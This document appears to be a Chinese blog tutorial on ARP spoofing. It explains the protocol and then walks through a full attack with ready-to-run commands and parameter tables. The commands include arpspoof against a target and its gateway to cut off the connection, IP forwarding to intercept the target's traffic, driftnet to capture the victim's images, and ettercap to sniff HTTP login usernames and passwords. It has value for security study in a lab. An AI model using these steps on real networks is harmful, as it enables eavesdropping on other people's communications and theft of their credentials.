ARP攻击
ARP 攻击(Address Resolution Protocol 攻击)是一种网络安全攻击,它利用了 ARP 协议的工作原理漏洞,以欺骗的方式篡改局域网内设备之间的通信,从而导致数据包被发送到错误的目标地址。ARP 协议用于将 IP 地址映射到 MAC 地址,以便在局域网中实现数据包的正确传递。
介绍
ARP 攻击(Address Resolution Protocol 攻击)是一种网络安全攻击,它利用了 ARP 协议的工作原理漏洞,以欺骗的方式篡改局域网内设备之间的通信,从而导致数据包被发送到错误的目标地址。ARP 协议用于将 IP 地址映射到 MAC 地址,以便在局域网中实现数据包的正确传递。
原理
-
ARP 协议工作原理: 在局域网中,计算机通常使用 ARP 协议来获取目标 IP 地址对应的 MAC 地址,以便将数据包正确发送到目标设备。当计算机要发送数据包到目标 IP 地址时,它首先检查本地的 ARP 缓存表,看是否已知目标 IP 对应的 MAC 地址。如果没有,计算机就会发送 ARP 请求广播,询问目标 IP 地址对应的 MAC 地址。
-
ARP 欺骗: 攻击者通过发送虚假的 ARP 响应包,欺骗其他设备将错误的 MAC 地址与正确的 IP 地址关联起来。攻击者可以发送虚假的 ARP 响应,声称自己是某个合法设备的 MAC 地址,这将导致其他设备将数据包发送到攻击者的 MAC 地址,而不是正确的目标设备。
-
中间人攻击: 在 ARP 攻击中,攻击者通常会成为数据包的中间人。攻击者截获从源设备发送到目标设备的数据包,并将其转发到目标设备,同时将响应数据包也转发给源设备。这使得攻击者能够窃取通信内容、篡改数据包或进行其他恶意活动。
复现过程
安装工具:在安装之前先更新一下apt
apt-get update
等待更新,更新完成后,再开始安装工具:
apt-get install dsniff
查看工具是否安装完成:
┌──(root㉿kali)-[~]
└─# arpspoof
Version: 2.4
Usage: arpspoof [-i interface] [-c own|host|both] [-t target] [-r] host
ARP攻击样例:
目标主机IP:192.168.11.100
kali机IP:192.168.11.101
网关:192.168.11.2
arpspoof -i eth0 -t 192.168.11.100 -r 192.168.11.2
参数 | 作用和说明 |
---|---|
-i | 指定要使用的网络接口。您可以使用此选项来选择网络接口,例如 eth0 或 wlan0 。 |
-t | 指定目标设备的 IP 地址。这是您要进行 ARP 欺骗的目标设备的 IP 地址。 |
-r | 启用反向 ARP 欺骗。如果使用此选项,arpspoof 将反向欺骗目标和网关,使其相互认为攻击者是对方。 |
至此,ARP攻击导致断网就复现成功了
成功断网的同时,可以看出,目标主机的ARP表出现了预期欺骗效果:
192.168.11.101是kali主机,192.168.11.2是网关,这时网关的mac地址也被更改为kali主机的mac地址了
这是原本正常的ARP表 ↓↓↓
基于ARP欺骗的监控
先开启ARP欺骗:
然后kaili主机开启 IP转发功能:
echo 1 > /proc/sys/net/ipv4/ip_forward
/proc/sys/net/ipv4/ip_forward
文件是一个系统文件,用于控制 Linux 操作系统中的 IP 转发功能。IP 转发是指路由器或计算机将接收到的数据包从一个网络接口转发到另一个网络接口,使不同子网之间能够相互通信。该文件的值决定了是否启用了 IP 转发功能。具体来说,
/proc/sys/net/ipv4/ip_forward
文件的作用如下:
- 0:禁用 IP 转发功能。这意味着系统将不会将接收到的数据包从一个网络接口转发到另一个网络接口,只会处理目标为本地的数据包。
- 1:启用 IP 转发功能。这意味着系统将允许接收到的数据包在不同网络接口之间进行转发,从而实现不同子网之间的通信。
请注意,修改
/proc
目录中的文件是临时的,系统重启后会失效。要在系统重启后保持修改,请编辑/etc/sysctl.conf
文件,并将相应的行添加或修改为net.ipv4.ip_forward=1
(启用)或net.ipv4.ip_forward=0
(禁用)。然后,使用sysctl -p
命令加载配置文件中的更改。
开启IP转发功能后,目标主机重新ping通baidu.com
开启IP转发后,所有的数据包都会从原本的
【目标主机→网关→外网】变成【目标主机→kali主机→网关→外网】
都会所有数据都会经过kali主机,从而实现监控效果
然后接下来安装一款工具:
apt-get install driftnet
driftnet
是一个用于网络监控和数据包捕获的工具,它可以用于分析和显示网络上流经的图片数据。主要作用是捕获网络流量中的图片数据,并将这些图片显示在屏幕上,以便进行实时的监控和分析。它通常用于网络审计、安全测试和演示,以展示网络上的敏感信息传输和安全漏洞。
使用样例:
driftnet -i eth0 -d /home/kali/桌面/img
命令解释:使用
driftnet
工具来在指定的网络接口(eth0
)上捕获图片数据,并将捕获到的图片保存到指定的目录(/home/kali/桌面/img
)中。
driftnet相关参数
参数 | 作用和说明 |
---|---|
-i <interface> | 指定要捕获网络流量的网络接口。例如:-i eth0 |
-d <directory> | 指定捕获到的图片保存的目录。例如:-d /home/kali/桌面/img |
-a | 自动保存捕获到的图片,无需手动确认。 |
-n <count> | 指定捕获图片的最大数量。例如:-n 10 表示捕获 10 张图片后停止。 |
-t <seconds> | 指定捕获图片的最大时间(秒)。例如:-t 60 表示捕获 60 秒后停止。 |
-q | 安静模式,不显示捕获的图片信息。 |
-b <size> | 指定保存的图片文件大小上限(字节),超过此大小的图片将不保存。 |
-r <file> | 从指定的文件中读取图片数据进行显示。 |
实验效果图
值得一提的是,只能抓http协议下的网页,支持https协议的网页抓不到
温馨提示:仅用于学习、测试和安全研究目的下使用,确保遵守合法和道德规范。
延伸:
亦可使用ettercap工具进行一个数据监听:
ettercap -Tq -i eth0
参数 | 作用和说明 |
---|---|
-i <interface> | 指定要进行嗅探和攻击的网络接口。例如:-i eth0 |
-T | 启用文本模式,以文本形式显示嗅探和攻击结果。 |
-G | 启用图形用户界面(GUI)模式,显示图形化的界面。 |
-q | 安静模式,不显示冗长的输出信息。 |
-P <plugin> | 指定要使用的插件,例如 -P remote_browser 。 |
-M <attack> | 指定要执行的中间人攻击,例如 -M arp 。 |
-S | 启用 SSLstrip 功能,劫持 HTTP 流量中的 HTTPS 连接。 |
-w <file> | 将嗅探到的数据包保存到指定的文件中。 |
-r <file> | 从指定的文件中读取数据包进行分析。 |
-F <filter> | 指定过滤规则,只捕获符合规则的数据包。 |
-L <logfile> | 将输出日志保存到指定的文件中。 |
数据监听的效果图,对一些http网页的登录页面可截获账号和密码
开放原子开发者工作坊旨在鼓励更多人参与开源活动,与志同道合的开发者们相互交流开发经验、分享开发心得、获取前沿技术趋势。工作坊有多种形式的开发者活动,如meetup、训练营等,主打技术交流,干货满满,真诚地邀请各位开发者共同参与!
更多推荐
所有评论(0)